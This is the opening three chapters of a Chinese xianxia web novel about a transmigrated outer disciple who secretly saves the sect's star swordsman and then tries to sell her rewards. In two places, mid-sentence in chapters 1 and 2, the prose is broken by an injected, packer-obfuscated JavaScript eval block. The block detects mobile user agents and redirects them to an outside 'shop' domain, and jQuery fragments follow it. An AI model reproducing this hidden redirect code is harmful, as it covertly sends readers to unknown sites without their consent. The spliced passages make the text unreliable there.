《我成了正反派的白月光》 1. 第 1 章 雪霁初晴。 穿一身普通外门弟子服的少女举着一把藤黄纸伞走在路上。 “……宁竹!”一道公鸭嗓在不远处炸开。 宁竹回头,曲亦卓骂骂咧咧道:“这鬼天气,下了那么久的雪,总算消停了……” “雪都停了,你打什么伞啊!” 少女伸出一根雪白的手指,指了指上面。 青松枝头堆砌的厚厚雪沫不堪重负一般,倏然往下滑落,尽数灌到了曲亦卓的脖颈中。 惨叫声中,少年上跳下窜,飞快捏了个诀将身子烘干:“怎么不提醒我!!” 宁竹抛给他一把伞,疑惑道:“啊?我没有吗?” 曲亦卓无奈认栽,他像是狗甩毛一样甩了甩头:“你去哪啊?” “珠玑阁。” 曲亦卓惊讶:“你速度那么快!又制好一批兽甲了?!” 宁竹嘿嘿一笑。 这回她可不是去珠玑阁卖兽甲的。 说来也是她运气好。 天玑山有一处禁地,名为魍魔谷,据传谷中住着数只大妖,盘踞此地不肯出谷,天玑山长老设下重重禁制困住这些妖,为保弟子安全,平日里不允任何弟子独身入谷。 但大妖妖力强劲,吸引了许多小妖盘旋于魍魔谷附近,时常有弟子偷偷摸摸去猎杀这些小妖兽,赚些灵石和积分。 毕竟修真路上,处处费钱,谁也不会嫌灵石多。 宁竹便是其中一员。 当然她没那个本事独自诛杀厉害的妖兽,但她会捡漏啊! 有胆子到魍魔谷诛杀妖兽的都是有些本事在身的,妖兽分品级,有的妖兽品级太低,送到珠玑阁也换不了多少灵石,入不了这些弟子的眼。 只要有心搜寻,自然能找到一些被遗漏的弱小妖兽,甚至有被杀掉又随手抛开的现成妖兽。 昨天晚上宁竹照常去魍魔谷捡漏。 下着小雪,天色幽蓝,层云密布,她杀了几只低阶妖兽,打算收手。 就在这时,她听见靠近魍魔谷入口的地方有异常响动。 宁竹忙抓紧手中灵剑,挣扎片刻还是决定去看一眼。 她躲在密林之中,见一只尖嘴猴腮,眼尾生着白色纹路的妖物围着一个人转悠,但迟迟不敢靠近。 隔得太远,宁竹只隐隐约约瞧见地上那人衣袍染血,仿佛昏迷不醒。 白魅狐猴乃是低阶妖兽,但极为难缠,只要它择中一人,便会不死不休跟在此人周围,伺机吃人。 而且它吃人的方式极为恶心,会用那条细长的舌头从七窍钻入脑中,吸食脑髓。 不知是何原因,这白魅狐猴竟迟迟没有对那人下手。 宁竹犹豫片刻,以牺牲两件低阶法器为代价,杀掉了那只白魅狐猴。 这时宁竹才来得及警惕打量昏迷在地的那人。 这一看,宁竹整个人都懵了。 残月孤冷,朔风清寒,少年仰面倒在地上,墨发散乱一地,黢黑长睫上覆着一层洁白的雪色。 他身上衣袍像是被千万柄利刃割破,露出苍白得几乎有些透明的肌肤,殷红血色如同墨迹层层叠叠晕开。 许是宁竹眼花了,月色如流萤,竟是争先恐后往他身体里钻,叫他整个人都泛出一种朦朦胧胧的莹白光泽。 那些伤口,不断撕裂,又在不断愈合。 眼前场景太过诡异,宁竹背脊发寒,扭头就想跑。 在她的认知里,这不像修士,更像是一只妖。 然而就在她提步的那一刹,那少年忽然蜷起身体,大口大口呕血。 宁竹惊骇回头,那少年如同濒死伤鹤,无力地倒在地上。 没有撕裂又愈合的伤口,没有流萤般的光。 仿佛她方才看见的,都是幻觉。 宁竹在原地僵持了十几秒,最后还是折身朝着他走了过去。 少年流的血将身下雪地都染红,他白衣破碎,瞳孔涣散,却让宁竹想到了坠落云端的月。 孤冷,圣洁,破碎,又危险。 她指尖有些颤抖,缓缓压上他的脖颈。 下一秒,宁竹瞳孔微微一缩。 他是修士,不是妖。 但这少年……竟是经脉寸断,气息将绝! 宁竹迅速缩回手,她管不了的,她应该去通知长老们。 然而起身那一刹,宁竹忽然想起了一个人。 那姑娘是和她同一年进的天玑山,后来有人发现她有妖族血统,举报给了长老。 正道向来不容妖族和魔族,更何况让一个妖族后裔成为门内弟子。 那姑娘最后被废了灵根逐出师门,以儆效尤。 听人说她下山之后没几日,便因为灵根被剜,重伤去世。 雪下得越来越大,很快便在少年身上覆了一层白。 宁竹不知道站了多久,直到手背都被冻出青紫色泽,她忽然弯腰,背起了那少年。 魍魔谷距离宁竹的小屋,御剑不过一刻钟的时间。 但宁竹背了一个身份不明的少年,她不敢御剑。 她一路躲躲藏藏地走,直到天色快要蒙蒙亮的时候,终于把少年背回了小屋。 那时少年的气息已经很浅很浅了。 宁竹将他放下时,少年倏地半睁开眼,他的目光似乎在宁竹那身被鲜血染得斑驳的衣裳上凝固了一瞬。 宁竹有些晃神。 毕竟是在修真界,她见过许多辉如明月,灿若星辰的修士。 但眼前少年,却是她见过最好看的人。 少年声音很哑,好似一片羽毛,轻轻扫过宁竹的眼睫:“……对不起,弄脏了你的衣裳。” 话音落,他便无力地闭上了眼。 宁竹的血液有一瞬的凝固,片刻后,她颤颤悠悠伸出手探他鼻息—— 很微弱,像是风中将灭的烛火。 宁竹迅速起身,翻出自己这一年来攒下的灵石,匆匆冲去了珠玑阁。 归息丹,价格高昂,但能救人性命。 她曾无数次幻想过要给自己买下十颗备用,但没想到,买下的第一颗归息丹,竟是为了救旁人。 然而宁竹买到归息丹往回赶的时候,被一群人拦下。 为首的是一个美若天仙的粉裙少女,她面色很难看:“你身上为何会有表兄的气息?” 少女捂着心口摇摇欲坠,她身边的修士呼啦啦把宁竹围起来:“你是何人!” 一身是血来不及换衣裳的宁竹:? 这话不该她来问吗? 你们什么人啊!看穿着根本不是天玑山弟子啊! 少女身边一个年长的女修上前来说:“道友,我们没有恶意,只是我们小姐在你身上觉察到了表公子的气息……不知可是表公子发生了什么事?” 宁竹表情狐疑:“你们不是天玑山的人吧,你们表公子怎么会在这里?” 女修正要开口,少女阻止她:“表兄在此处修行,我们正是来找他的。” 少女柔荑微抬,指尖冒出一滴血珠。 她手指一挥,宁竹沾了血的袖角也被割下来一小片。 半空中浮现出一个银色的阵法,血珠和染血的袖角入阵,很快消失不见。 停顿片刻,阵法之上光芒大作,几乎一半都被金光覆盖。 少女声音柔软,楚楚可怜看着她:“道友请看,你身上沾染的……的确是我表兄的血。” 这是修真界常用的验亲阵,可以理解为修真界版的DNA检测仪。 血缘关系越亲近,这阵法上的金光便会越多。 看来他们的确是表兄妹。 亲人都找上门来了,宁竹也没有阻止的道理,于是她带着人回了自己的洞府。 少女看见浑身是血的少年,险些哭晕过去。 宁竹看着他们从乾坤袋里拿出许多高阶丹药,每一枚都价值连城,根本不是归息丹能比的。 她看得目瞪口呆,早知如此,她花光自己的积蓄买归息丹做什么? 片刻后,年长的女修表情凝重道:“小姐,表公子无恙,只是不知道为什么醒不过来。” 宁竹一愣。 他不是经脉寸断,气息将绝吗? 不等她说话,少女先开口:“先带表兄走。” 宁竹知道他们有意遮掩自己的身份,默默退到一旁不说话。 离开前,女修对那少女低声说了几句话,少女抬起美目看宁竹一眼,含泪点点头。 女修走过来,将一枚通体幽蓝的玉佩递给她:“今日多谢道友相助,此物名为冰璃鸾玉,价值五十万灵石,赠予道友。” 宁竹先是拒绝,然后在女修了然的眼神中败下阵来。 好吧,他们随便拿出的一枚丹药都要上百万灵石,这枚玉佩对对方而言的确不算什么。 宁竹接过玉佩。 女修露出一点笑意,她盯着宁竹的眼睛:“道友会把今日之事都忘记,对么?” 宁竹有一瞬的眩晕感。 她看见女修对少女说:“小姐,已经修改她的记忆了,她不会记得是自己救了表公子。” 什么都还记得的宁竹:…… 少女没有多余的心思,看都没看她:“走吧阿瑾,天玑山真是废物,破境那么关键的时候都无人相护!表兄若是出了什么问题,我不会放过他们!” 一行人很快消失。 宁竹在洞府门口站了一会,恨不得开心大叫。 她得了一枚价值五十万的玉佩! 白捡的五十万!!! 关键是她花十万灵石买的归息丹也没用掉! 想起好好揣在乾坤袋中的玉佩和归息丹,宁竹没忍住笑出声来。 曲亦卓无奈地看了她一眼:“处理兽甲又辛苦又卖不上价,还不如好好修炼,多接几个任务呢。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888528|192126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>宁竹深沉地摇了摇头:“以我等的资质,多攒法器和丹药才是正途。” 曲亦卓:…… 又来了,真不知道她哪里来的这些歪理。 他不想搭理她了,往前一步:“既然你要去珠玑阁,我也跟你一起去吧,刚好要买点材料强化我的剑。” 宁竹看着他的背影,一猜便知道他在想什么。 她摇了摇头。 法器丹药灵石……这是炮灰的立身之本啊!! 一没修炼天赋,二没家世背景,投身的宗门还要被人捣了老巢,不抓紧时间给自己攒身家,以后就等着死翘翘吧。 至于她为什么会知道这些…… 是的,她高考后穿进了一本叫《仙道》的龙傲天修真文里。 男主谢寒卿,身份高不可攀,乃是两大修真世家之后,天下第一宗门天玑山掌门的关门弟子。 他松风水月,天生剑骨,执一把怀卿剑,解困厄,渡世人,斩魔尊,灭魔域,屠尽世间魑魅魍魉,最后在万千世人的敬仰中飞升成神。 简而言之,万鬼齐出,妖物横行的人间炼狱,他就是正道的光。 而宁竹,她穿成了一个炮灰。 原身也叫宁竹,入道前是个孤儿,吃百家饭长大的那一种。 然而炮灰的命运就是那么悲惨,一夕之间登仙路,原以为前途一片光明灿烂,实际上…… 她资质平平,连内门都没能进,在外门勤勤恳恳修炼多年,死在了魔尊带领魔修血洗天玑山的那一天。 或许还更惨一点,魔尊掳走天玑山弟子尸身一百零八具,缝缝补补炼成了一具阴尸。 宁竹搞不好就是其中一部分零件。 她和曲亦卓是在进入宗门后认识的,两人都属于又穷又没背景那一挂,经常抱团组队杀妖兽,算是朋友。 两个炮灰,想要蜉蝣撼树那是不可能的,宁竹草草翻过一遍书,知道大抵剧情,只想在魔尊捣了天玑山老巢前好好攒一波身家,自然要劝他一起苟。 这话宁竹说过许多遍,曲亦卓一直不当一回事。 宁竹几经试探发现自己没办法把原著剧情透露给任何人,也只能作罢。 曲亦卓已经很努力了!至于自己,就好好搞钱,将来有多余的法器丹药也可以分他一份。 两人一前一后走着,忽然听到前方一片嘈杂。 主峰关口处,一个守门弟子面色为难:“姜小姐,真的不是我不让你们进去,只是今日谢师兄出关,掌门早早下令严禁任何人出入……” 不少弟子都凑过来看热闹,曲亦卓拉着宁竹往前挤:“怎么了?” 一群人簇拥着一个粉裙少女,观其衣着明显不是天玑山的弟子。 那少女生得仙姿佚貌,弱柳扶风,笼着雪白狐裘,剪水双瞳泫然欲泣:“这位道友,可是我昨夜就见过表兄了……” 有弟子道:“这位姜小姐竟是犯了痴不成……谢师兄今日才出关,她昨日怎么可能见过谢师兄?” “你不懂,姜家和白家都想让女儿与咱们谢师兄结为道侣……白师姐与谢师兄同在一个师门,捷足先登,这姜小姐自然着急了。” 曲亦卓在一旁听得津津有味:“原来这位便是淮水姜氏的大小姐……” 他没有注意到,宁竹整个人都已经僵硬了。 ……淮水姜氏?表兄? 男主谢寒卿,正是淮水姜氏和梦京谢氏之后。 如果眼前之人就是姜汐年,那她口中的表兄…… 难道昨晚她救下的少年,正是男主谢寒卿?! “谢师兄出关了!” “在那!我看见他了!” 所有人都循声望去。 天玑山夏时远山含黛,烟雨霏霏,冬来千山载雪,碧落琼瑶,不愧为修真界第一仙门。 而被人群簇拥的那一人,仿佛凝聚了整座天玑山的天地灵气。 松风水月,如圭如璋的小仙君,眉如晓山青,眼似云间月,分明周围人人都穿同一身道袍,偏他就要耀目三分。 背着那柄薄而纤长的怀卿剑,整个人便凭空多了三分拒人于千里之外的疏离冷淡,倒似一轮寒江孤月。 他满头墨发以鹤状银冠高束,半指宽的天玄离尘带飘在脑后,袖角绣有青莲流云纹饰,正踏着薄雪,往关口处走来。 叽叽喳喳的弟子围在他身边,不住叫着“谢师兄”。 姜汐年更是满腹委屈冲上前去:“表兄!!” 宁竹隐在人群之后,耳边是一片聒噪,脑子里嗡声作响。 谢师兄。 天玑山还有几个谢师兄? 与昨夜气息将绝,狼狈不堪的少年判若两人。 眼前之人,竟然就是天玑山首徒,掌门清虚真人关门弟子,本书男主……谢寒卿? 下一刻,似有所察般,谢寒卿忽然抬起一双清冷的眼。 直直看向宁竹的方向。 2. 第 2 章 谢寒卿一举一动都在众人的注视之下,有人随着他的视线看去,只看见一群眼含狂热的弟子。 似乎只是漫不经心投过去一眼,谢寒卿轻飘飘地收回视线。 姜汐年面颊染着薄红,美目盈泪:“表兄,昨晚我……” 小仙君冷淡剔透的瞳孔忽然看向她。 姜汐年竟是不自觉地瑟缩了一下。 昨夜她将表兄接回飞舟之中,表兄又发起热来,阿瑾说他现在状态很是古怪,建议不要轻易挪动。 所以她便陪在一边,喂他服用些丹药。 后来……后来不知怎么回事,所有人都睡着了,再醒来时,表兄已经离开了。 她质问表兄的下落,大家却都说他们到达天玑山后便没有离开过飞舟,也根本没有见过表兄。 怎么会呢? 她分明记得自己带人将满身是血的表兄接回了飞舟…… 谢寒卿开口了:“汐年何时来的?” 音色清冽,如同冰凌乍破,春溪潺潺。 姜汐年的脸色一点点变得苍白。 她是个聪明人,自然听懂了他的言下之意,他不愿别人知道他昨夜就已经出关。 表兄抹去了他们的记忆么? 阿瑾乃是天生特殊,百年难遇,就算她也只能篡改低阶修士的记忆…… 但她带来的人中,却有化神期修士。 姜汐年微微颤抖,表兄用了禁术? 是……搜神术? 姜汐年忍不住想要后退。 但对上那双清泠泠的眼,姜汐年又忍住了。 表兄独独留下了自己的记忆…… 表兄对她,尚有怜惜。 想到这里,姜汐年的脸色又一点点红润起来,她毫无破绽道:“原来表兄今日才出关,昨晚看到了一个和你很像的人,还误以为是表兄呢。” 她就此揭过,双手托过一枚锦盒:“表兄,听闻你今日破境,父亲特托我送来这枚万年赤霄灵参,可助表兄固元稳境。” 没有人去接。 空气安静了一瞬,似乎只有风声涛涛。 姜汐年的脸色一点点涨得通红。 "舅舅有心了。"谢寒卿声音极淡。 姜汐年眼底渐渐浮现出水光,她抿唇一笑,似乎要说些什么。 谢寒卿却朝着周围弟子颔首:“诸位同门,师尊在含云顶等候多时,我需先走一步。” 他回头交代姜汐年身边的弟子:“你们小姐自幼身子不好,尽快护送她回淮水。” 众人纷纷侧身让出一条路来。 怀卿剑悬在半空,谢寒卿足尖轻点一跃而上,宽大的衣袍在风中如同鹤翅招展,风雪不沾他衣角半分。 光风霁月的小仙君略一抱拳,很快消失在云雾缭绕的长生阶上,再未看姜汐年一眼。 姜汐年面色惨白,她将那枚灵参护在怀中,死死咬住下唇,整个人摇摇欲坠。 美人垂泪,自是惹得旁人痛心。 有人出声安慰:“姜仙子快些回去吧,谢师兄刚刚出关,想必有许多事情等待他处理,你不如择日再来。” 阿瑾轻轻拥住她,"小姐……我们走吧。" 姜汐年泪眼婆娑看了一眼高耸入云的长生阶,咬住下唇,跟着她离开。 关口处众弟子还在议论纷纷:“谢师兄闭关一年,修为定是又精进了……” “谢师兄闭关前便已至元婴大圆满,如今定已突破至化神期了吧?” “那是自然!谢师兄天生剑骨,恐怕是修真界有史以来修炼速度最快的绝世天才了吧?真真是前途不可限量……” 曲亦卓听他们议论,神色郁郁,唇角绷得死死:“就知道吹嘘,他这样出身的人,不知耗费了多少天材地宝灵丹妙药才养得这一身修为。” 议论声骤停,弟子们纷纷回过头来,怒目而视。 曲亦卓腿软了软,忙大声说:“这样的绝世天才,自然是我等难以望其项背的!宁竹,你说是不是?” 曲亦卓一扭头,才发现宁竹不知什么时候蹲在了地上,像个鹌鹑一样埋着头。 一个弟子抬起下巴,鼻孔看人:“谢师兄乃是我辈楷模!休要让我听到你诋毁他半句!” “就是!谢师兄是何人,也是你一个外门弟子能暗中诋毁的!” 曲亦卓额头冒冷汗,扭头想跑:“宁竹,走,走吧!我们御剑!” 宁竹抬起头来。 曲亦卓吓得后退半步:“宁竹?!你干嘛?” 宁竹不知何时找了块巾子蒙在脸上,瓮声瓮气说:“扶我一把。” “啊?” “……腿麻了。” 在众人的嗤笑声中,曲亦卓抓着一瘸一拐的宁竹踏上了飞剑。 宁竹确认谢寒卿已经离开了,这才扯下蒙脸的巾子,回过头对那守门弟子说:“这位师兄说得对,谢师兄乃是我们天玑山的表率,人人都应以他为荣,向他虚心学习。” 众人的脸色这才好了一些。 宁竹默默将冰璃鸾玉藏好了些,拍拍曲亦卓:“走吧。” 她实在是草率了。 那么财大气粗的家族,修真界能有几个?为什么她就没想到对方的身份? 姜汐年,姜家大小姐,自幼身体病弱,苦恋谢寒卿多年,后来甚至为了救他牺牲在归墟中。 世人皆道谢寒卿乃是为了姜汐年才终身不娶,只有站在上帝视角的读者才知道,谢寒卿他根本就是无情。 正如书名《仙道》,谢寒卿根本就是一个一心只为大道,绝情绝欲之人。 这本书没有绝对意义上的女主,书中贪恋他的各路女角色都只是一腔痴情错付。 这枚冰璃鸾玉是姜家人给她的,说不定上面会有姜家的印记,不能在珠玑阁售卖了。 方才她听得很清楚,谢寒卿在否认昨夜见过姜汐年的事。 也就是说,他不希望别人知道他昨夜出现在了魍魔谷…… 宁竹原著看得潦草,许多剧情都跳过了,但她模模糊糊记得一点。 谢寒卿……并不是传统意义上伟光正的正道形象,后期他血洗魔域,就连刚刚出生的婴孩都没有放过。 知道太多秘密的人最后都没有什么好下场,宁竹只恨自己当时同情心泛滥,要惹下这么一桩麻烦。 还好自己方才蹲下得够快,谢寒卿和姜汐年应当是没看到她的。 那就好。 姜汐年以为她失忆了,谢寒卿昨晚一直是半昏迷状态,根本没看清宁竹的脸。 只要她不出现在这两个人面前,就不会有人注意到她这个炮灰。 至于这冰璃鸾玉……权当她的封口费了!不能卖给珠玑阁,她找别的渠道就是。 谁还会跟钱过不去! 曲亦卓两个月前才学会御剑,两个人共用一柄剑,对控剑能力考验不小。 飞剑在他们脚下抖动得厉害,两个人左摇右摆,好几次险些摔下剑来。 与谢小仙君对比起来,自然是一个天上一个地下。 曲亦卓紧咬牙关,面色涨得一片赤红:“宁竹!你帮帮忙啊!” 宁竹忙朝着飞剑注入一丝灵力,飞剑总算是摇摇晃晃载着两人飞走了。 含云顶雪雾缭绕,谢寒卿负手立在剑上,整个人如同一片羽毛悬在空中,他眼睫低垂俯瞰着下方,自然也将飞剑上的两人纳入眸中。 每个朔月,他都会择一处无人之地,布好结界,静坐修炼,等待穿心蚀骨之痛过去。 这一次不知何故,出现了意外。 待他神识归位,迷迷糊糊醒来时,却是在这少女的背上。 天寒地冻,积雪连绵,少女费劲地背着他,深一脚浅一脚走在雪中。 他身量太高,她又太娇小,背得很是困难。 但她丝毫没有要将他抛下的意思,絮絮叨叨说着:“快了,就快到了,你忍一忍,先别死啊。” 仿佛这样,便可以延缓他消散的生气。 天幕高悬的冷月晃成模糊的影。 他恍惚间瞧见她身上戴着的青铜色腰牌,和被他染脏的血衣。 思绪回笼,谢寒卿的视线落在宁竹身上。 风大,冰蓝色的弟子服牢牢贴在少女身上,腰肢纤细欲折,裙摆如同幽兰绽开。 少女的发带在风中飘摇,额前柔顺的刘海也被风卷开,露出一片光洁的额头。 分明身处千丈之高,谢寒卿却似乎嗅到一抹干净清幽的香。 正是昨夜盘旋在鼻尖,混着清冽风雪的味道。 方才在关口,他便已经觉察到她的气息,只是为什么……她要躲? 昨夜他用搜神术查看了姜家人的记忆。 阿瑾已经篡改了这少女的记忆,既然如此,她不应该记得他和姜汐年,方才又为什么要躲? 云端之上,谢寒卿微微抬眼,有清寒雪粒化作水珠,晕湿长睫,叫那双淡漠的瞳孔笼罩在一片雾气中,叫人窥不清情绪。 谢寒卿一贯是个不喜欢留下隐患的人。 若无阿瑾出手,他也会亲自抹掉她的记忆,但现在看来……好像事情脱离了掌控。 流云聚散,谢寒卿并没有追上去,而是淡淡望着少女离开。 “……表兄。”一道柔柔弱弱的声音响起。 谢寒卿毫不意外地回过头。 姜汐年面颊染着一层淡淡的粉,眸光流转:“表兄,你是在等我吗?” 谢寒卿沉默不语。 姜汐年上前一步,扬起头看他,眉间笼罩着一层淡淡的担忧:“方才人多口杂,不便叙话,表兄,你身体可还好?昨夜我救下你时,你昏迷不醒,我……” “汐年,你救了我么。” 姜汐年愣了下,下意识说:“表兄,是我……” 她对上了一双冷淡的眼瞳,似是覆雪的冰原,飞鸟也绝迹。 姜汐年轻轻颤抖了下,垂下纤柔的脖颈:“原来你看到她了。” “表兄,我知道你不想叫旁人知晓此事,表兄放心,我已经命阿瑾抹去她的记忆了,我也绝不会告诉旁人这些事情……” 谢寒卿忽然开口:“那又为何要来找我。” 姜汐年盯着他袖口的青莲流云纹,心想,他还是这般不留情面。 从小如此。 姜汐年抬眸。 朔风吹拂,美人衣袖招摇,眼角的泪摇摇欲坠:“表兄又为何不抹去我的记忆?” 谢寒卿没有回答她。 她似是不甘心,咬着唇问:“表兄,白暮到底有哪里好?” 小仙君眉头微微拧起:“我已经说过很多次,我并无结契之意,无论是与任何人。” “你身子不好,只为我出关一事,千里迢迢赶来天玑山,并不妥……” 姜汐年忽然泪眼婆娑往他怀中扑:“我不想听这些!” 谢寒卿身形如燕,往后退开。 姜汐年狼狈地跌倒在地。 谢寒卿脸上并无怜惜,他抬起手掌,如同无情无欲的神祇。 搜神术,乃是修真界禁术,可以随意对一个人的记忆进行篡改、抹除。 自然,也会对人的神魂造成一定影响。 若无必要,谢寒卿其实并不想对她使用。 他给过她机会了。 可她却冒领他人的功劳,只为那些虚无缥缈的情爱。 姜汐年整个人都在颤抖:“……表兄。” 谢寒卿神情淡漠,直直闯入她的识海。 姜汐年的表情变得呆滞。 他在姜汐年的记忆里再度看见了那个少女。 一身血衣,狼狈不堪,被姜家人围在中间,露出惶然又戒备的眼神。 她的手,还在护着那枚乾坤袋。 谢寒卿知道,里面是她从珠玑阁刚刚买回来的归息丹。 他与记忆中的少女四目相对。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888529|192126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >片刻后,他抬手,抹掉了这段记忆。 又下雪了。 雪花落下,覆在昏倒在地的姜汐年身上。 “出来。” 一道身影缓缓从松林中走出来,阿瑾哆哆嗦嗦跪在地上,鼻尖缀满细汗。 谢寒卿再度使用了搜神术。 片刻后,阿瑾茫然看着他:“……表公子?我们为什么会在这?” 小仙君嗓音清冷:“来找我送点东西,带你们小姐回去吧。” 阿瑾如同提线木偶,扶起昏迷在地的姜汐年,御剑离开。 谢寒卿停留半晌,踏云而去。 飞剑刚刚下降,谢寒卿便看见一道高挑的身影。 他没什么表情,唤道:“二师姐。” 女修生得细眉细眼,像是画上的仕女,听到他的声音,那张过分严肃的脸上绽开一点笑意:“寒卿,你出关了。” 此人便是谢寒卿的二师姐,三大世家南陵白氏的大小姐,白暮。 清虚真人总共只收过三个弟子,大弟子宁濯死于百年前的屠魔之战,余下的便是白暮和谢寒卿。 谢寒卿乃是两大世家谢氏和姜氏之后,白家看中他的身份,有意撮合白暮和谢寒卿。 但谢寒卿对这位相处不过几年的师姐很是冷淡。 谢寒卿淡淡颔首,错开身子道:“二师姐,师尊还在等我。” “寒卿,汐年已经回去了吗?”她问。 谢寒卿冰雪琉璃般淡漠的眼扫过来,白暮忙道:“我看见姜家的飞舟了。” 谢寒卿只说:“二师姐,我先进去了。” 他身后的天玄离尘带随风轻拂,白暮心弦微颤,她开口道:“今晚我在天珍楼为你置办了一桌席面作为庆贺,你……” 小仙君步伐微顿,侧过脸:“不必了。” 白暮看着他离去的背影,面色不大好看。 从他踏上含云顶开始,她便知道了。 她知道姜汐年来找他了。 但谢寒卿神识何等强大,加之她也不屑于窥探,所以白暮一直在此处等他。 可是现在…… 白暮看着远处变成小黑点的姜家飞舟,低头苦笑了下。 宁竹跟曲亦卓到珠玑阁转了一圈,把自己之前攒的一些兽甲兽羽卖掉,打算去幽冥集市一趟。 幽冥集市,乃是修真界第一大集市,在这里,法器灵丹,符箓经书应有尽有,若是有心,甚至能寻到一些明面上禁止的好东西。 宁竹乃是这里的熟客。 天玑山的弟子不全是出身世家大族,像宁竹这样普通人更多。 珠玑阁东西是好,就是贵,修真一途,炼器锻体,丹药法宝哪一样不要灵石。 能省则省,于是不少弟子把目光投向了幽冥集市。 在这里你能以珠玑阁一颗低级火血丹的价格,买到两颗中级火血丹。 ……当然集市上的东西鱼龙混杂,要仔细分辨,否则就会像曲亦卓一样,买到火蜥蜴血做成的火血丹,吃完后身体鳞化满地爬行。 集市上人头攒动,车马飞禽络绎不绝,宁竹握着刚买的糖画咔嚓咬了一口,糖画发出细声细气的尖叫。 尖叫糖画施了法术,一枚要一百灵石,但每一口下去都是不同的味道。 宁竹这枚是馥郁水果,现在嘴里是甜甜的草莓味,下一口可能就会变成芒果味。 这样的奢侈零食平时她可不舍得吃,但今天……她心情好! 花十万灵石买的归息丹和价值五十万的冰璃鸾玉都在乾坤袋里好好躺着呢。 也就是说,她现在是身价六十万的人!可以买足足六枚归息丹,六千枚尖叫糖画! 当然,现在当务之急是变现。 冰璃鸾玉价格高昂,估计一时半会不好卖掉,倒不如先处理这枚归息丹。 珠玑阁出品的归息丹自然是顶级品质,宁竹估算着预期之内的折损,一边嚼着糖画,一边打量着两边的摊子。 她停在一个摊子前,神神秘秘问:“顶级归息丹,几成价回收?” 摊主用独眼瞥她,露出一口黄牙:“六成价。” 宁竹怒目圆睁:“六成价?怎么不去抢!” 摊主色眯眯笑:“小仙子叫声哥哥,给你七成价?” 宁竹面无表情将天玑山弟子腰牌露了出来。 来之前她特地换了身常服,此时摊主看见她的腰牌,稍稍收敛了些,但表情轻慢:“顶多给你八成价!你随便去问,不可能再比这个高了!” 宁竹还欲争辩,身后忽然响起一道喑哑低沉的声音:“我出九成价。” 宁竹回过头。 满街光影摇晃,来人身量纤薄颀长,立在昏黄之中,如同一道锐利的剪影。 他戴着一张玄黑色的面具,只露出半张清瘦苍白的脸,垂落肩头的如瀑墨发中竟夹杂着点点银丝。 宁竹有些讶异:“小江?” 这少年她也算相熟,两人时有生意往来,人虽然冷淡了点,但交易还算公道。 摊主拧眉,恶狠狠警告道:“我告诉你,别坏了规矩!” 宁竹担心起了冲突,正想把他叫到一旁,哪知少年走到摊主面前,声音阴冷:“规矩?” 他冷笑:“各凭本事,你跟我讲什么规矩?” 摊主早看他不爽,仗着一副弱柳扶风的病秧子模样,抢走了他不少顾客。 他反手拔出一把大刀来压在少年脖颈上,啐了一口:“他娘的小白脸,老子不给你立规矩还真把自己当根葱了!” 忽然起了风。 少年玄衣鼓动,逼近摊主。 他动作太快,快到宁竹什么也没看清,只听得大刀当啷落地,那摊主已经被少年掐着脖子高高举了起来。 摊主面色涨红,眼球外突,喉咙发出嗬嗬的声响,双腿疯狂倒腾。 少年偏了下头,发出一声讽刺的笑:“规矩是什么,现在懂了么?” 3. 第 3 章 宁竹手心冒汗,生怕出事,忙上前软言道:“小江,我还着急回去,你看我们要不过去说?” 有那么一瞬,宁竹觉得他可能要把摊主掐死。 但少年到底还是松了手。 摊主跌落在地,砸得摊子稀巴烂,一片浓重的腥臊气晕开。 少年慢条斯理掏出一块绢帕擦了擦手,扔在他身上,薄唇轻启:“滚。” 此事说来是因她而起,宁竹哪怕心生惧意,也只能哆哆嗦嗦招呼着少年往一旁。 她只想快点交易溜之大吉,糖画也不吃了,飞快拿出那枚归息丹举到他面前:“小江,天玑山珠玑阁的东西,刚到手,童叟无欺。” 宁竹咬咬牙:“给你八成价。” 少年似乎看了她一眼。 片刻后,他掏出一袋灵石扔给她。 宁竹一看,不多不少正好九万灵石。 修真界的灵石也是有等级之分的,低阶灵石是灰朴朴的颜色,中阶灵石是翠绿色的,一枚当得一千枚低阶灵石。 而高阶灵石,也就是袋子里金灿灿的这些,一枚当得一万枚低阶灵石。 宁竹眼角弯了起来,她解开乾坤袋,将灵石放了进去,笑盈盈对少年说:“下次有买卖记得找我。” 她转身要走,忽然感觉有什么东西缠住了她的腰。 像是风拧成的绳,又似某种植物的藤蔓。 手中糖画啪嗒落地,宁竹头皮炸开,忙伸手去拍! 然而那东西放得极快。 宁竹再回过头,自己藏在乾坤袋里的那枚冰璃鸾玉不知何时出现在了少年手中。 他勾着丝绦,意味不明地端详着那枚冰璃鸾玉。 宁竹大惊,忙道:“小江!这个我暂时不卖!” 少年忽然抬了抬下巴,玄黑色面具下,他瞳孔极黑,黑得几乎泛起一种诡异的红,仿佛凝着沉沉夜色。 宁竹后背冒冷汗。 “你的东西?”冰蓝色的冰璃鸾玉摇摇晃晃悬挂在少年漂亮的指尖,仿佛下一秒就要摔在地上。 宁竹方才是瞧出来了,小江这人做事有些不依常理,她生怕他将冰璃鸾玉摔坏,苦着脸说:“是我的,你要是瞧得上,也可以九成价卖你。” “哦。”他说。 他似乎动了下手指,宁竹听见一声清脆的声音—— 那枚精美绝伦的冰璃鸾玉,咔嚓碎成了几半。 宁竹呼吸骤停。 宁竹心脏狂跳。 下一秒,她发出绝望的悲鸣,一把抓住少年的袖子:“小江!你为什么要弄坏它!” 